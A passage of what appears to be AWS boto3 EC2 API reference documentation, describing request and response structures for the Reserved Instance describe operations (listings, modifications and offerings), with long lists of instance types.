'm5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'ProductDescription': 'Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + 'ReservedInstancesId': 'string', + 'Start': datetime(2015, 1, 1), + 'State': 'payment-pending'|'active'|'payment-failed'|'retired'|'queued'|'queued-deleted', + 'UsagePrice': ..., + 'CurrencyCode': 'USD', + 'InstanceTenancy': 'default'|'dedicated'|'host', + 'OfferingClass': 'standard'|'convertible', + 'OfferingType': 'Heavy Utilization'|'Medium Utilization'|'Light Utilization'|'No Upfront'|'Partial Upfront'|'All Upfront', + 'RecurringCharges': [ + { + 'Amount': 123.0, + 'Frequency': 'Hourly' + }, + ], + 'Scope': 'Availability Zone'|'Region', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output for DescribeReservedInstances. + + * **ReservedInstances** _(list) --_ + + A list of Reserved Instances. + + * _(dict) --_ + + Describes a Reserved Instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which the Reserved Instance can be used. + + * **Duration** _(integer) --_ + + The duration of the Reserved Instance, in seconds. + + * **End** _(datetime) --_ + + The time when the Reserved Instance expires. + + * **FixedPrice** _(float) --_ + + The purchase price of the Reserved Instance. + + * **InstanceCount** _(integer) --_ + + The number of reservations purchased. + + * **InstanceType** _(string) --_ + + The instance type on which the Reserved Instance can be used. + + * **ProductDescription** _(string) --_ + + The Reserved Instance product platform description. + + * **ReservedInstancesId** _(string) --_ + + The ID of the Reserved Instance. + + * **Start** _(datetime) --_ + + The date and time the Reserved Instance started. + + * **State** _(string) --_ + + The state of the Reserved Instance purchase. + + * **UsagePrice** _(float) --_ + + The usage price of the Reserved Instance, per hour. + + * **CurrencyCode** _(string) --_ + + The currency of the Reserved Instance. It's specified using ISO 4217 standard currency codes. At this time, the only supported currency is USD . + + * **InstanceTenancy** _(string) --_ + + The tenancy of the instance. + + * **OfferingClass** _(string) --_ + + The offering class of the Reserved Instance. + + * **OfferingType** _(string) --_ + + The Reserved Instance offering type. + + * **RecurringCharges** _(list) --_ + + The recurring charge tag assigned to the resource. + + * _(dict) --_ + + Describes a recurring charge. + + * **Amount** _(float) --_ + + The amount of the recurring charge. + + * **Frequency** _(string) --_ + + The frequency of the recurring charge. + + * **Scope** _(string) --_ + + The scope of the Reserved Instance. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +describe_reserved_instances_listings(kwargs_) + +Describes your account's Reserved Instance listings in the Reserved Instance Marketplace. + +The Reserved Instance Marketplace matches sellers who want to resell Reserved Instance capacity that they no longer need with buyers who want to purchase additional capacity. Reserved Instances bought and sold through the Reserved Instance Marketplace work like any other Reserved Instances. + +As a seller, you choose to list some or all of your Reserved Instances, and you specify the upfront price to receive for them. Your Reserved Instances are then listed in the Reserved Instance Marketplace and are available for purchase. + +As a buyer, you specify the configuration of the Reserved Instance to purchase, and the Marketplace matches what you're searching for with what's available. The Marketplace first sells the lowest priced Reserved Instances to you, and continues to sell available Reserved Instance listings to you until your demand is met. You are charged based on the total price of all of the listings that you purchase. + +For more information, see [Reserved Instance Marketplace](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ri-market-general.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeReservedInstancesListings) + +**Request Syntax** + +response = client.describe_reserved_instances_listings( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ReservedInstancesId='string', + ReservedInstancesListingId='string' +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * reserved-instances-id - The ID of the Reserved Instances. + * reserved-instances-listing-id - The ID of the Reserved Instances listing. + * status - The status of the Reserved Instance listing (pending | active | cancelled | closed ). + * status-message - The reason for the status. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **ReservedInstancesId** (_string_) -- One or more Reserved Instance IDs. +* **ReservedInstancesListingId** (_string_) -- One or more Reserved Instance listing IDs. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstancesListings': [ + { + 'ClientToken': 'string', + 'CreateDate': datetime(2015, 1, 1), + 'InstanceCounts': [ + { + 'InstanceCount': 123, + 'State': 'available'|'sold'|'cancelled'|'pending' + }, + ], + 'PriceSchedules': [ + { + 'Active': True|False, + 'CurrencyCode': 'USD', + 'Price': 123.0, + 'Term': 123 + }, + ], + 'ReservedInstancesId': 'string', + 'ReservedInstancesListingId': 'string', + 'Status': 'active'|'pending'|'cancelled'|'closed', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'UpdateDate': datetime(2015, 1, 1) + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeReservedInstancesListings. + + * **ReservedInstancesListings** _(list) --_ + + Information about the Reserved Instance listing. + + * _(dict) --_ + + Describes a Reserved Instance listing. + + * **ClientToken** _(string) --_ + + A unique, case-sensitive key supplied by the client to ensure that the request is idempotent. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + * **CreateDate** _(datetime) --_ + + The time the listing was created. + + * **InstanceCounts** _(list) --_ + + The number of instances in this state. + + * _(dict) --_ + + Describes a Reserved Instance listing state. + + * **InstanceCount** _(integer) --_ + + The number of listed Reserved Instances in the state specified by the state . + + * **State** _(string) --_ + + The states of the listed Reserved Instances. + + * **PriceSchedules** _(list) --_ + + The price of the Reserved Instance listing. + + * _(dict) --_ + + Describes the price for a Reserved Instance. + + * **Active** _(boolean) --_ + + The current price schedule, as determined by the term remaining for the Reserved Instance in the listing. + + A specific price schedule is always in effect, but only one price schedule can be active at any time. Take, for example, a Reserved Instance listing that has five months remaining in its term. When you specify price schedules for five months and two months, this means that schedule 1, covering the first three months of the remaining term, will be active during months 5, 4, and 3. Then schedule 2, covering the last two months of the term, will be active for months 2 and 1. + + * **CurrencyCode** _(string) --_ + + The currency for transacting the Reserved Instance resale. At this time, the only supported currency is USD . + + * **Price** _(float) --_ + + The fixed price for the term. + + * **Term** _(integer) --_ + + The number of months remaining in the reservation. For example, 2 is the second to the last month before the capacity reservation expires. + + * **ReservedInstancesId** _(string) --_ + + The ID of the Reserved Instance. + + * **ReservedInstancesListingId** _(string) --_ + + The ID of the Reserved Instance listing. + + * **Status** _(string) --_ + + The status of the Reserved Instance listing. + + * **StatusMessage** _(string) --_ + + The reason for the current status of the Reserved Instance listing. The response can be blank. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **UpdateDate** _(datetime) --_ + + The last modified timestamp of the listing. + + +describe_reserved_instances_modifications(kwargs_) + +Describes the modifications made to your Reserved Instances. If no parameter is specified, information about all your Reserved Instances modification requests is returned. If a modification ID is specified, only information about the specific modification is returned. + +For more information, see [Modifying Reserved Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ri-modifying.html) in the Amazon Elastic Compute Cloud User Guide. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeReservedInstancesModifications) + +**Request Syntax** + +response = client.describe_reserved_instances_modifications( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ReservedInstancesModificationIds=[ + 'string', + ], + NextToken='string' +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * client-token - The idempotency token for the modification request. + * create-date - The time when the modification request was created. + * effective-date - The time when the modification becomes effective. + * modification-result.reserved-instances-id - The ID for the Reserved Instances created as part of the modification request. This ID is only available when the status of the modification is fulfilled . + * modification-result.target-configuration.availability-zone - The Availability Zone for the new Reserved Instances. + * modification-result.target-configuration.instance-count - The number of new Reserved Instances. + * modification-result.target-configuration.instance-type - The instance type of the new Reserved Instances. + * modification-result.target-configuration.platform - The network platform of the new Reserved Instances (EC2-Classic | EC2-VPC ). + * reserved-instances-id - The ID of the Reserved Instances modified. + * reserved-instances-modification-id - The ID of the modification request. + * status - The status of the Reserved Instances modification request (processing | fulfilled | failed ). + * status-message - The reason for the status. + * update-date - The time when the modification request was last updated. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **ReservedInstancesModificationIds** (_list_) -- + + IDs for the submitted modification request. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'ReservedInstancesModifications': [ + { + 'ClientToken': 'string', + 'CreateDate': datetime(2015, 1, 1), + 'EffectiveDate': datetime(2015, 1, 1), + 'ModificationResults': [ + { + 'ReservedInstancesId': 'string', + 'TargetConfiguration': { + 'AvailabilityZone': 'string', + 'InstanceCount': 123, + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'Platform': 'string', + 'Scope': 'Availability Zone'|'Region' + } + }, + ], + 'ReservedInstancesIds': [ + { + 'ReservedInstancesId': 'string' + }, + ], + 'ReservedInstancesModificationId': 'string', + 'Status': 'string', + 'StatusMessage': 'string', + 'UpdateDate': datetime(2015, 1, 1) + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeReservedInstancesModifications. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **ReservedInstancesModifications** _(list) --_ + + The Reserved Instance modification information. + + * _(dict) --_ + + Describes a Reserved Instance modification. + + * **ClientToken** _(string) --_ + + A unique, case-sensitive key supplied by the client to ensure that the request is idempotent. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + * **CreateDate** _(datetime) --_ + + The time when the modification request was created. + + * **EffectiveDate** _(datetime) --_ + + The time for the modification to become effective. + + * **ModificationResults** _(list) --_ + + Contains target configurations along with their corresponding new Reserved Instance IDs. + + * _(dict) --_ + + Describes the modification request/s. + + * **ReservedInstancesId** _(string) --_ + + The ID for the Reserved Instances that were created as part of the modification request. This field is only available when the modification is fulfilled. + + * **TargetConfiguration** _(dict) --_ + + The target Reserved Instances configurations supplied as part of the modification request. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone for the modified Reserved Instances. + + * **InstanceCount** _(integer) --_ + + The number of modified Reserved Instances. + + Note + + This is a required field for a request. + + * **InstanceType** _(string) --_ + + The instance type for the modified Reserved Instances. + + * **Platform** _(string) --_ + + The network platform of the modified Reserved Instances, which is either EC2-Classic or EC2-VPC. + + * **Scope** _(string) --_ + + Whether the Reserved Instance is applied to instances in a Region or instances in a specific Availability Zone. + + * **ReservedInstancesIds** _(list) --_ + + The IDs of one or more Reserved Instances. + + * _(dict) --_ + + Describes the ID of a Reserved Instance. + + * **ReservedInstancesId** _(string) --_ + + The ID of the Reserved Instance. + + * **ReservedInstancesModificationId** _(string) --_ + + A unique ID for the Reserved Instance modification. + + * **Status** _(string) --_ + + The status of the Reserved Instances modification request. + + * **StatusMessage** _(string) --_ + + The reason for the status. + + * **UpdateDate** _(datetime) --_ + + The time when the modification request was last updated. + + +describe_reserved_instances_offerings(kwargs_) + +Describes Reserved Instance offerings that are available for purchase. With Reserved Instances, you purchase the right to launch instances for a period of time. During that time period, you do not receive insufficient capacity errors, and you pay a lower usage rate than the rate charged for On-Demand instances for the actual time used. + +If you have listed your own Reserved Instances for sale in the Reserved Instance Marketplace, they will be excluded from these results. This is to ensure that you do not purchase your own Reserved Instances. + +For more information, see [Reserved Instance Marketplace](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ri-market-general.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeReservedInstancesOfferings) + +**Request Syntax** + +response = client.describe_reserved_instances_offerings( + AvailabilityZone='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + IncludeMarketplace=True|False, + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'